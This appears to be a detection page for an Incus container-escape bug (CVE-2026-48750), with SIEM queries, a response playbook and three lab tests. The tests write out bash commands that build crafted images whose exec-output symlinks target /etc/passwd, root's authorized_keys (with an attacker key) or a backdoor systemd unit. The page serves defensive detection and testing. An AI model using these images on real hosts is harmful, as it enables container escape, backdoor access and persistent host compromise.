CVE-2026-48750 IBM QRadar · QRadar

Detect Incus exec-output Symlink Arbitrary File Write on Host (CVE-2026-48750) in IBM QRadar

CVE-2026-48750 is a critical arbitrary file write vulnerability (CVSS 9.9) in Incus container/VM manager (github.com/lxc/incus/v7/cmd/incusd) versions prior to 7.2.0. A crafted container image can place a symlink at the exec-output path, causing incusd to write attacker-controlled content to arbitrary locations on the host filesystem. This enables container escape leading to full host compromise. A public PoC is available.

MITRE ATT&CK

Tactic
Privilege Escalation Credential Access Execution

QRadar Detection Query

IBM QRadar (QRadar)
sql 
SELECT
  DATEFORMAT(starttime, 'YYYY-MM-dd HH:mm:ss') AS event_time,
  logsourcename(logsourceid) AS log_source,
  username,
  "sourceip",
  QIDNAME(qid) AS event_name,
  "File Path" AS file_path,
  "Process Name" AS process_name,
  "Parent Process Name" AS parent_process,
  "Command" AS command_line
FROM events
WHERE
  LOGSOURCETYPENAME(devicetype) IN ('Linux', 'Auditd', 'Syslog')
  AND (
    ("Parent Process Name" ILIKE '%incusd%' OR "Parent Process Name" ILIKE '%incus%')
    AND (
      "File Path" ILIKE '/etc/%' OR
      "File Path" ILIKE '/root/%' OR
      "File Path" ILIKE '/var/spool/cron/%' OR
      "File Path" ILIKE '/usr/local/bin/%' OR
      "File Path" ILIKE '/lib/systemd/%'
    )
  )
  OR (
    ("Parent Process Name" ILIKE '%incusd%' OR "Parent Process Name" ILIKE '%incus%')
    AND ("Command" ILIKE '%exec-output%' OR "Command" ILIKE '%exec_output%')
  )
  OR (
    "Event Category" = 'symlink'
    AND ("Command" ILIKE '%exec-output%' OR "Command" ILIKE '%exec_output%')
  )
LAST 24 HOURS
ORDER BY starttime DESC
critical severity medium confidence

QRadar AQL query detecting file writes to sensitive host paths initiated by incusd, incusd-spawned processes referencing exec-output, and symlink operations involving exec-output paths.

Data Sources

QRadar Linux DSMAuditdSyslog

Required Tables

events

False Positives & Tuning

  • Legitimate incus daemon operations writing configuration or log files to system directories
  • Authorized container provisioning scripts that reference exec-output as part of normal workflow
  • Security tooling that creates symlinks in exec-output paths during forensic investigation

Other platforms for CVE-2026-48750

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Create malicious symlink in exec-output path within container image

    Expected signal: Auditd symlink syscall from process tree rooted at incusd; file write event to /etc/passwd path originating from incusd child process

  2. Test 2Detect symlink traversal via exec-output to /root/.ssh/authorized_keys

    Expected signal: File write syscall to /root/.ssh/authorized_keys with incusd ancestor in process tree; auditd type=PATH record for authorized_keys

  3. Test 3Simulate exec-output symlink to systemd service unit for persistence

    Expected signal: File creation event under /lib/systemd/system/ with incusd ancestor; subsequent systemd daemon-reload or service enable events

Last updated: 2026-07-24 Research depth: standard
References (2)

Response Playbook

Triage

  1. Identify the incusd version on the affected host: run `incus version` or check the installed package version to confirm it is below 7.2.0 and thus vulnerable.
  2. Examine host filesystem for unexpected files or modified files in sensitive paths (/etc, /root, /var/spool/cron, /usr/local/bin, /lib/systemd, ~/.ssh) with timestamps near the alert time using `find / -newer <timestamp_file> -ls 2>/dev/null`.
  3. Review incusd logs at /var/log/incus/ and journalctl -u incus for exec-output references, image import events, or unusual container launch sequences around the alert timeframe.
  4. Enumerate currently running and recently stopped containers using `incus list --all` and correlate with the alerting process tree to identify which container or image triggered the event.

Containment

  1. Immediately stop the incusd service (`systemctl stop incus`) and quarantine any container images received from untrusted external sources until patching is complete.
  2. Apply the vendor patch by upgrading incusd to version 7.2.0 or later, then restart the service and re-audit all images loaded since the vulnerability disclosure date (2026-06-26).

Evidence Collection

  1. Capture a snapshot of all files modified in sensitive directories since the alert timestamp: `find /etc /root /var/spool/cron /usr/local/bin /lib/systemd /home -newer /tmp/baseline_ts -type f -ls` and hash them with sha256sum.
  2. Collect incusd process logs, container image manifests, and exec-output directory contents: `tar czf /tmp/incus_evidence_$(date +%s).tar.gz /var/log/incus /run/incus /var/lib/incus/images 2>/dev/null`.

Escalation Criteria

  • !Escalate immediately if any files were successfully written to /etc/passwd, /etc/sudoers, /root/.ssh/authorized_keys, or systemd service unit directories, as these indicate likely persistent host compromise.
  • !Escalate if the container image origin is external or untrusted (e.g., pulled from a public registry or provided by a third party), as the PoC is public and active exploitation is plausible.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >Symlinks in the incus exec-output directory (typically under /run/incus or /var/lib/incus) pointing to sensitive host paths
  • >Modified or newly created files in /etc, /root/.ssh, /var/spool/cron, or systemd unit directories with ownership matching the incusd process user
  • >Container image tarballs containing crafted exec-output symlinks — recoverable from /var/lib/incus/images or import cache
  • >Auditd records (type=SYSCALL) for symlink, symlinkat, open, or write syscalls originating from incusd PID

Tuning Guidance

Start with a higher-severity threshold by requiring both a sensitive path write AND an exec-output command line reference to reduce false positives from routine incus administration. Baseline legitimate incusd-spawned file write paths in your environment and exclude them. If incus is not deployed in your environment, this rule can be promoted to high confidence or disabled accordingly. On environments with active incus usage, correlate with image import events to prioritize alerts following third-party image ingestion.

Hunting Queries

Hunt for all symlink and file write syscalls originating from incusd or incus processes to identify scope of potential exploitation across the environment.

Hunting — KQL
kql 
DeviceFileEvents
| where InitiatingProcessParentFileName has_any ("incusd", "incus")
| where ActionType in ("FileCreated", "FileModified", "SymlinkCreated")
| summarize count() by FolderPath, FileName, InitiatingProcessCommandLine
| where FolderPath matches regex @"/(etc|root|var/spool/cron|usr/local/bin|lib/systemd|home)"
| order by count_ desc
Hunting — SPL
spl 
index=linux_os sourcetype=auditd type=SYSCALL
| where syscall IN ("symlink", "symlinkat", "link", "linkat", "open", "openat") AND exe LIKE "%incus%"
| stats count BY host, exe, key, a0, a1
| sort - count

Atomic Red Team Tests

Test 1 Create malicious symlink in exec-output path within container image
linux

Simulates an attacker crafting a container image that places a symlink at the exec-output location pointing to /etc/passwd on the host, triggering CVE-2026-48750 on incusd < 7.2.0.

Command

bash 
# Lab only — requires vulnerable incusd < 7.2.0
mkdir -p /tmp/atomic_incus_test/rootfs/exec-output
ln -s /etc/passwd /tmp/atomic_incus_test/rootfs/exec-output/output
tar czf /tmp/malicious_image.tar.gz -C /tmp/atomic_incus_test .
echo 'Image created at /tmp/malicious_image.tar.gz — import with: incus image import /tmp/malicious_image.tar.gz --alias atomic-test'

Cleanup

bash 
rm -f /tmp/malicious_image.tar.gz; rm -rf /tmp/atomic_incus_test; incus image delete atomic-test 2>/dev/null || true

Expected Telemetry

Auditd symlink syscall from process tree rooted at incusd; file write event to /etc/passwd path originating from incusd child process

Expected Detection

Alert fires on FileCreated/FileModified event to /etc/passwd with parent process incusd in KQL and SPL queries

Test 2 Detect symlink traversal via exec-output to /root/.ssh/authorized_keys
linux

Tests whether detection fires when incusd writes attacker content to /root/.ssh/authorized_keys via a symlink in a crafted image's exec-output directory.

Command

bash 
# Lab only
mkdir -p /tmp/atomic_ssh_test/rootfs/exec-output
ln -s /root/.ssh/authorized_keys /tmp/atomic_ssh_test/rootfs/exec-output/output
echo 'ssh-rsa AAAA...ATOMIC_TEST_KEY attacker@lab' > /tmp/atomic_ssh_test/rootfs/exec-output/content
tar czf /tmp/ssh_backdoor_image.tar.gz -C /tmp/atomic_ssh_test .
echo 'Import and launch with vulnerable incusd to trigger write'

Cleanup

bash 
rm -f /tmp/ssh_backdoor_image.tar.gz; rm -rf /tmp/atomic_ssh_test

Expected Telemetry

File write syscall to /root/.ssh/authorized_keys with incusd ancestor in process tree; auditd type=PATH record for authorized_keys

Expected Detection

Alert on sensitive path write (/home/*/.ssh/ or /root/.ssh/) by incusd child process across all SIEM queries

Test 3 Simulate exec-output symlink to systemd service unit for persistence
linux

Validates detection of attacker writing a malicious systemd service unit to /lib/systemd/system/ via incusd exec-output symlink, enabling persistent code execution on the host.

Command

bash 
# Lab only
mkdir -p /tmp/atomic_systemd_test/rootfs/exec-output
ln -s /lib/systemd/system/atomic-backdoor.service /tmp/atomic_systemd_test/rootfs/exec-output/output
printf '[Unit]\nDescription=Atomic Test Backdoor\n[Service]\nExecStart=/bin/bash -c "id > /tmp/atomic_pwned"\n[Install]\nWantedBy=multi-user.target\n' > /tmp/atomic_systemd_test/rootfs/exec-output/content
tar czf /tmp/systemd_persist_image.tar.gz -C /tmp/atomic_systemd_test .
echo 'Import with vulnerable incusd to test persistence vector'

Cleanup

bash 
rm -f /tmp/systemd_persist_image.tar.gz /tmp/atomic_pwned; rm -rf /tmp/atomic_systemd_test; systemctl disable atomic-backdoor 2>/dev/null; rm -f /lib/systemd/system/atomic-backdoor.service 2>/dev/null

Expected Telemetry

File creation event under /lib/systemd/system/ with incusd ancestor; subsequent systemd daemon-reload or service enable events

Expected Detection

Alert on FileCreated in /lib/systemd/* path with incusd parent across KQL, SPL, Elastic EQL, and Chronicle YARA-L rules

Related Detections

Tactic Hubs

TA0004Privilege EscalationTA0006Credential AccessTA0002Execution

Related Techniques

T1611Escape to HostT1574Hijack Execution FlowT1036Masquerading

Same Tactic: Privilege Escalation

Popular Detections